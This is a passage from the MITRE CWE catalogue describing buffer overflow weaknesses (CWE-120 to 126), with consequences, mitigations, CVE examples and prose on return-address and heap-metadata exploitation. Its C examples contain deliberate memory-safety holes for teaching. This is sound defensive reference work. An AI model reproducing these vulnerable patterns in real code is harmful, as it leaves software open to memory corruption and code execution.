<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700  18</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>699  226</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>B</td>
<td>123</td>
<td>Write-what-where Condition</td>
<td>1000 248</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>633</td>
<td>Weaknesses that Affect Memory</td>
<td>631  983</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711  1118</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>726</td>
<td>OWASP Top Ten 2004 Category A5 - Buffer Overflows</td>
<td>711  1121</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>741</td>
<td>CERT C Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>734  1136</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>802</td>
<td>2010 Top 25 - Risky Resource Management</td>
<td>800 1232</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>865</td>
<td>2011 Top 25 - Risky Resource Management</td>
<td>900 1313</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>875</td>
<td>CERT C++ Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>868 1318</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>970</td>
<td>SFP Secondary Cluster: Faulty Buffer Access</td>
<td>888 1385</td>
</tr>
<tr>
<td>CanFollow</td>
<td>B</td>
<td>170</td>
<td>Improper Null Termination</td>
<td>1000 328</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>V</td>
<td>196</td>
<td>Signed to Unsigned Conversion Error</td>
<td>1000 380</td>
</tr>
<tr>
<td>CanFollow</td>
<td>V</td>
<td>231</td>
<td>Improper Handling of Extra Values</td>
<td>1000 423</td>
</tr>
<tr>
<td>CanFollow</td>
<td>B</td>
<td>242</td>
<td>Use of Inherently Dangerous Function</td>
<td>1000 432</td>
</tr>
<tr>
<td>CanFollow</td>
<td>B</td>
<td>416</td>
<td>Use After Free</td>
<td>1000 720</td>
</tr>
</tbody>
</table>
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanFollow</td>
<td>⚫</td>
<td>456</td>
<td>Missing Initialization of a Variable</td>
<td>772</td>
</tr>
<tr>
<td>ParentOf</td>
<td>⚫</td>
<td>785</td>
<td>Use of Path Manipulation Function without Maximum-sized Buffer</td>
<td>1207</td>
</tr>
<tr>
<td>MemberOf</td>
<td>⚫</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>1323</td>
</tr>
</tbody>
</table>

Relationship Notes

At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.

Affected Resources

- Memory

Functional Areas

- Memory Management

Causal Nature

Explicit  (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Unbounded Transfer ('classic overflow')</td>
</tr>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
<td>Buffer Overflow</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td></td>
<td>Buffer overflow</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A1</td>
<td>CWE More Specific</td>
<td>Unvalidated Input</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A5</td>
<td>CWE More Specific</td>
<td>Buffer Overflows</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>STR35-C</td>
<td></td>
<td>Do not copy data from an unbounded source to a fixed-length array</td>
</tr>
<tr>
<td>WASC</td>
<td>7</td>
<td></td>
<td>Buffer Overflow</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>STR35-CPP</td>
<td></td>
<td>Do not copy data from an unbounded source to a fixed-length array</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP8</td>
<td></td>
<td>Faulty Buffer Access</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>8</td>
<td>Buffer Overflow in an API Call</td>
</tr>
<tr>
<td>9</td>
<td>Buffer Overflow in Local Command-Line Utilities</td>
</tr>
<tr>
<td>10</td>
<td>Buffer Overflow via Environment Variables</td>
</tr>
<tr>
<td>14</td>
<td>Client-side Injection-induced Buffer Overflow</td>
</tr>
<tr>
<td>24</td>
<td>Filter Failure through Buffer Overflow</td>
</tr>
<tr>
<td>42</td>
<td>MIME Conversion</td>
</tr>
<tr>
<td>44</td>
<td>Overflow Binary Resource File</td>
</tr>
<tr>
<td>45</td>
<td>Buffer Overflow via Symbolic Links</td>
</tr>
<tr>
<td>46</td>
<td>Overflow Variables and Tags</td>
</tr>
<tr>
<td>47</td>
<td>Buffer Overflow via Parameter Expansion</td>
</tr>
<tr>
<td>67</td>
<td>String Format Overflow in syslog()</td>
</tr>
<tr>
<td>92</td>
<td>Forced Integer Overflow</td>
</tr>
<tr>
<td>100</td>
<td>Overflow Buffers</td>
</tr>
</tbody>
</table>

White Box Definitions

A weakness where the code path includes a Buffer Write Operation such that:
1. the expected size of the buffer is greater than the actual size of the buffer where expected size is equal to the sum of the size of the data item and the position in the buffer

Where Buffer Write Operation is a statement that writes a data item of a certain size into a buffer at a certain position and at a certain index

References

CWE-121: Stack-based Buffer Overflow

A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function).

Alternate Terms

Stack Overflow

"Stack Overflow" is often used to mean the same thing as stack-based buffer overflow, however it is also used on occasion to mean stack exhaustion, usually a result from an excessively recursive function call. Due to the ambiguity of the term, use of stack overflow to describe either circumstance is discouraged.

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms

Languages

• C
• C++

Common Consequences

Availability
DoS: crash / exit / restart
DoS: resource consumption (CPU)
DoS: resource consumption (memory)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
Integrity
Confidentiality
Availability
Access Control
Execute unauthorized code or commands
Bypass protection mechanism
Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

Integrity
Confidentiality
Availability
Access Control
Other
Execute unauthorized code or commands
Bypass protection mechanism
Other
When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Likelihood of Exploit
Very High

Demonstrative Examples
Example 1:
While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, stack-based buffer overflows:

C Example:
```c
#include <stdio.h>

int main(int argc, char **argv) {
    char buf[BUFSIZE];
    strcpy(buf, argv[1]);
    return 0;
}
```
The buffer size is fixed, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.

Example 2:
This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

C Example:
```c
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```
This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Potential Mitigations
Build and Compilation

Compilation or Build Hardening

Defense in Depth

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Build and Compilation

Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.

Implementation

Implement and perform bounds checking on input.

Implementation

Do not use dangerous functions such as gets. Use safer, equivalent functions which check for boundary errors.

Operation

Use OS-level preventative functionality, such as ASLR. This is not a complete solution.

Background Details

There are generally several security-critical data on an execution stack that can lead to arbitrary code execution. The most prominent is the stored return address, the memory address at which execution should continue once the current function is finished executing. The attacker can overwrite this value with some memory address to which the attacker also has write access, into which he places arbitrary code to be run with the full privileges of the vulnerable program. Alternately, the attacker can supply the address of an important call, for instance the POSIX system() call, leaving arguments to the call on the stack. This is often called a return into libc exploit, since the attacker generally forces the program to jump at return time into an interesting routine in the C standard library (libc). Other important data commonly on the stack include the stack pointer and frame pointer, two values that indicate offsets for computing memory addresses. Modifying those values can often be leveraged into a "write-what-where" condition.

Other Notes

Stack-based buffer overflows can instantiate in return address overwrites, stack pointer overwrites or frame pointer overwrites. They can also be considered function pointer overwrites, array indexer overwrites or write-what-where condition, etc.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>📌</td>
<td>787</td>
<td>Out-of-bounds Write</td>
<td>699, 1000, 1211</td>
</tr>
<tr>
<td>ChildOf</td>
<td>📌</td>
<td>788</td>
<td>Access of Memory Location After End of Buffer</td>
<td>699, 1000, 1212</td>
</tr>
<tr>
<td>ChildOf</td>
<td>📌</td>
<td>970</td>
<td>SFP Secondary Cluster: Faulty Buffer Access</td>
<td>888, 1385</td>
</tr>
<tr>
<td>MemberOf</td>
<td>📌</td>
<td>630</td>
<td>Weaknesses Examined by SAMATE</td>
<td>630, 982</td>
</tr>
</tbody>
</table>

Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings
CWE Version 2.11

CWE-122: Heap-based Buffer Overflow

### Mapped Taxonomy Name

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Stack overflow</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP8</td>
<td>Faulty Buffer Access</td>
</tr>
</tbody>
</table>

### White Box Definitions

A stack-based buffer overflow is a weakness where the code path includes a buffer write operation such that:

1. stack allocation of a buffer
2. data is written to the buffer where
3. the expected size of the buffer is greater than the actual size of the buffer where expected size is equal to size of data added to position from which writing operation starts

### References


### CWE-122: Heap-based Buffer Overflow

**Weakness ID:** 122 *(Weakness Variant)*

**Status:** Draft

### Description

**Summary**

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

**Languages**

- C
- C++

### Common Consequences

**Availability**

DoS: crash / exit / restart

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
CWE Version 2.11
CWE-122: Heap-based Buffer Overflow

**Integrity**
**Confidentiality**
**Availability**
**Access Control**
**Execute unauthorized code or commands**
**Bypass protection mechanism**
**Modify memory**

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

Besides important user data, heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker's code. Even in applications that do not explicitly use function pointers, the run-time will usually leave many in memory. For example, object methods in C++ are generally implemented using function pointers. Even in C programs, there is often a global offset table used by the underlying runtime.

**Likelihood of Exploit**
High to Very High

**Demonstrative Examples**

**Example 1:**
While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, heap-based buffer overflows:

**C Example:**
```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char *buf;
    buf = (char *)malloc(sizeof(char)*BUFSIZE);
    strcpy(buf, argv[1]);
}
```

The buffer is allocated heap memory with a fixed size, but there is no guarantee the string in `argv[1]` will not exceed this size and cause an overflow.

**Example 2:**
This example applies an encoding procedure to an input string and stores it into a buffer.

**C Example:**
```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-4268</td>
<td>Chain: integer signedness passes signed comparison, leads to heap overflow</td>
</tr>
<tr>
<td>CVE-2009-2523</td>
<td>Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

**Pre-design:** Use a language or compiler that performs automatic bounds checking.

**Architecture and Design**

Use an abstraction library to abstract away risky APIs. Not a complete solution.

**Build and Compilation**

Pre-design through Build: Canary style bounds checking, library changes which ensure the validity of chunk data, and other such fixes are possible, but should not be relied upon.

**Implementation**

Implement and perform bounds checking on input.

**Libraries or Frameworks**

Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.

**Operation**

Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.

### Weakness Ordinalities

**Primary** *(where the weakness exists independent of other weaknesses)*

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☮</td>
<td>633</td>
<td>Weaknesses that Affect Memory</td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☮</td>
<td>787</td>
<td>Out-of-bounds Write</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☮</td>
<td>788</td>
<td>Access of Memory Location After End of Buffer</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☮</td>
<td>970</td>
<td>SFP Secondary Cluster: Faulty Buffer Access</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☮</td>
<td>630</td>
<td>Weaknesses Examined by SAMATE</td>
<td>630</td>
</tr>
</tbody>
</table>

### Relationship Notes

Heap-based buffer overflows are usually just as dangerous as stack-based buffer overflows.

### Affected Resources

- Memory

### Causal Nature

**Explicit** *(an explicit weakness resulting from behavior of the developer)*

### Taxonomy Mappings

---

CWE Version 2.11

CWE-122: Heap-based Buffer Overflow
CWE-123: Write-what-where Condition

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Heap overflow</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP8</td>
<td>Faulty Buffer Access</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>92</td>
<td>Forced Integer Overflow</td>
<td></td>
</tr>
</tbody>
</table>

White Box Definitions

A buffer overflow where the buffer from the Buffer Write Operation is dynamically allocated.

References


CWE-123: Write-what-where Condition

Weakness ID: 123 (Weakness Base) Status: Draft

Description

Summary

Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity
Confidentiality
Availability
Access Control
Modify memory

Execute unauthorized code or commands
Gain privileges / assume identity
DoS: crash / exit / restart

Bypass protection mechanism

Clearly, write-what-where conditions can be used to write data to areas of memory outside the scope of a policy. Also, they almost invariably can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), he can redirect a function pointer to his own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.
CWE Version 2.11
CWE-123: Write-what-where Condition

Integrity
Availability
DoS: crash / exit / restart
Modify memory
Many memory accesses can lead to program termination, such as when writing to addresses that are invalid for the current process.

Access Control
Other
Bypass protection mechanism
Other
When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Likelihood of Exploit
High

Demonstrative Examples
The classic example of a write-what-where condition occurs when the accounting information for memory allocations is overwritten in a particular fashion. Here is an example of potentially vulnerable code:

C Example:

```c
#define BUFSIZE 256
int main(int argc, char **argv) {
    char *buf1 = (char *) malloc(BUFSIZE);
    char *buf2 = (char *) malloc(BUFSIZE);
    strcpy(buf1, argv[1]);
    free(buf2);
}
```

Vulnerability in this case is dependent on memory layout. The call to `strcpy()` can be used to write past the end of `buf1`, and, with a typical layout, can overwrite the accounting information that the system keeps for `buf2` when it is allocated. Note that if the allocation header for `buf2` can be overwritten, `buf2` itself can be overwritten as well.

The allocation header will generally keep a linked list of memory "chunks". Particularly, there may be a "previous" chunk and a "next" chunk. Here, the previous chunk for `buf2` will probably be `buf1`, and the next chunk may be null. When the `free()` occurs, most memory allocators will rewrite the linked list using data from `buf2`. Particularly, the "next" chunk for `buf1` will be updated and the "previous" chunk for any subsequent chunk will be updated. The attacker can insert a memory address for the "next" chunk and a value to write into that memory address for the "previous" chunk.

This could be used to overwrite a function pointer that gets dereferenced later, replacing it with a memory address that the attacker has legitimate access to, where he has placed malicious code, resulting in arbitrary code execution.

Potential Mitigations

Architecture and Design
Language Selection
Use a language that provides appropriate memory abstractions.

Operation
Use OS-level preventative functionality integrated after the fact. Not a complete solution.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>277</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-124: Buffer Underwrite (‘Buffer Underflow’) "Sin 5: Buffer Overflow"

### Nature

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>970</td>
<td>SFP Secondary Cluster: Faulty Buffer Access</td>
<td>888</td>
</tr>
<tr>
<td>CanFollow</td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td>('Classic Buffer Overflow')</td>
<td>234</td>
</tr>
<tr>
<td>CanFollow</td>
<td>364</td>
<td>Signal Handler Race Condition</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td>415</td>
<td>Double Free</td>
<td>1000</td>
</tr>
<tr>
<td>CanFollow</td>
<td>416</td>
<td>Use After Free</td>
<td>1000</td>
</tr>
<tr>
<td>CanFollow</td>
<td>479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
<td>1000</td>
</tr>
<tr>
<td>CanFollow</td>
<td>590</td>
<td>Free of Memory not on the Heap</td>
<td>1000</td>
</tr>
</tbody>
</table>

### Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>SFP8</td>
<td>Write-what-where condition</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP8</td>
<td>Faulty Buffer Access</td>
</tr>
</tbody>
</table>

### References


### CWE-124: Buffer Underwrite (‘Buffer Underflow’)

**Weakness ID:** 124 (Weakness Base) **Status:** Incomplete

**Description**

**Summary**

The software writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

**Extended Description**

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

**Alternate Terms**

buffer underrun

Some prominent vendors and researchers use the term "buffer underrun". "Buffer underflow" is more commonly used, although both terms are also sometimes used to describe a buffer under-read (CWE-127).

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- C
- C++

**Common Consequences**

- Integrity
- Availability
- Modify memory

**DoS: crash / exit / restart**

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.
Integrity
Confidentiality
Availability
Access Control
Other
Execute unauthorized code or commands
Modify memory
Bypass protection mechanism
Other
If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy. The consequences would only be limited by how the affected data is used, such as an adjacent memory location that is used to specify whether the user has special privileges.

Access Control
Other
Bypass protection mechanism
Other
When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Likelihood of Exploit
Medium
Demonstrative Examples
Example 1:
In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

C/C++ Example:

```
char* trimTrailingWhitespace(char *strMessage, int length) {  
    char *retMessage;  
    char *message = malloc(sizeof(char)*(length+1));  
    // copy input string to a temporary string  
    char message[length+1];  
    int index;  
    for (index = 0; index < length; index++) {  
        message[index] = strMessage[index];  
    }  
    message[index] = '\0';  
    // trim trailing whitespace  
    int len = index-1;  
    while (isspace(message[len])) {  
        message[len] = '\0';  
        len--;  
    }  
    // return string without trailing whitespace  
    retMessage = message;  
    return retMessage;  
}
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 2:
The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:
CWE Version 2.11
CWE-124: Buffer Underwrite ('Buffer Underflow')

C Example:

Bad Code

```c
int main() {
    ...
    strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
    ...
}
```

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-2227</td>
<td>Unchecked length of SSLv2 challenge value leads to buffer underflow.</td>
</tr>
<tr>
<td>CVE-2004-2620</td>
<td>Buffer underflow due to mishandled special characters</td>
</tr>
<tr>
<td>CVE-2006-4024</td>
<td>Negative value is used in a memcpy() operation, leading to buffer underflow.</td>
</tr>
<tr>
<td>CVE-2006-6171</td>
<td>Product sets an incorrect buffer size limit, leading to “off-by-two” buffer underflow.</td>
</tr>
<tr>
<td>CVE-2007-0886</td>
<td>Buffer underflow resultant from encoded data that triggers an integer overflow.</td>
</tr>
<tr>
<td>CVE-2007-1584</td>
<td>Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character.</td>
</tr>
<tr>
<td>CVE-2007-4580</td>
<td>Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130)</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

**Implementation**

Sanity checks should be performed on all calculated values used as index or for pointer arithmetic.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☒</td>
<td>786</td>
<td>Access of Memory Location Before Start of Buffer</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1209</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☒</td>
<td>787</td>
<td>Out-of-bounds Write</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1211</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☒</td>
<td>970</td>
<td>SFP Secondary Cluster: Faulty Buffer Access</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1385</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>☒</td>
<td>196</td>
<td>Unsigned to Signed Conversion Error</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>380</td>
</tr>
<tr>
<td>CanFollow</td>
<td>☒</td>
<td>839</td>
<td>Numeric Range Comparison Without Minimum Check</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1283</td>
</tr>
</tbody>
</table>

**Relationship Notes**

This could be resultant from several errors, including a bad offset or an array index that decrements before the beginning of the buffer (see CWE-129).

**Research Gaps**

Much attention has been paid to buffer overflows, but "underflows" sometimes exist in products that are relatively free of overflows, so it is likely that this variant has been under-studied.

**Causal Nature**

Explicit *(an explicit weakness resulting from behavior of the developer)*

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>UNDER</td>
<td>Boundary beginning violation ('buffer underflow')</td>
</tr>
<tr>
<td>CLASP</td>
<td>Buffer</td>
<td>underwrite</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP8</td>
<td>Faulty Buffer Access</td>
</tr>
</tbody>
</table>

**References**


CWE-125: Out-of-bounds Read

Description

Summary
The software reads data past the end, or before the beginning, of the intended buffer.

Extended Description
This typically occurs when the pointer or its index is incremented or decremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in corruption of sensitive information, a crash, or code execution among other things.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• C
• C++

Common Consequences
Confidentiality
Read memory

Demonstrative Examples
In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

C Example:
```c
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

C Example:
```c
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
    ...
}
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-0112</td>
<td>out-of-bounds read due to improper length check</td>
</tr>
<tr>
<td>CVE-2004-0183</td>
<td>packet with large number of specified elements cause out-of-bounds read.</td>
</tr>
<tr>
<td>CVE-2004-0184</td>
<td>out-of-bounds read, resultant from integer underflow</td>
</tr>
</tbody>
</table>
CWE-126: Buffer Over-read

**Reference**
<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-0221</td>
<td>packet with large number of specified elements cause out-of-bounds read.</td>
</tr>
<tr>
<td>CVE-2004-0421</td>
<td>malformed image causes out-of-bounds read</td>
</tr>
<tr>
<td>CVE-2004-1940</td>
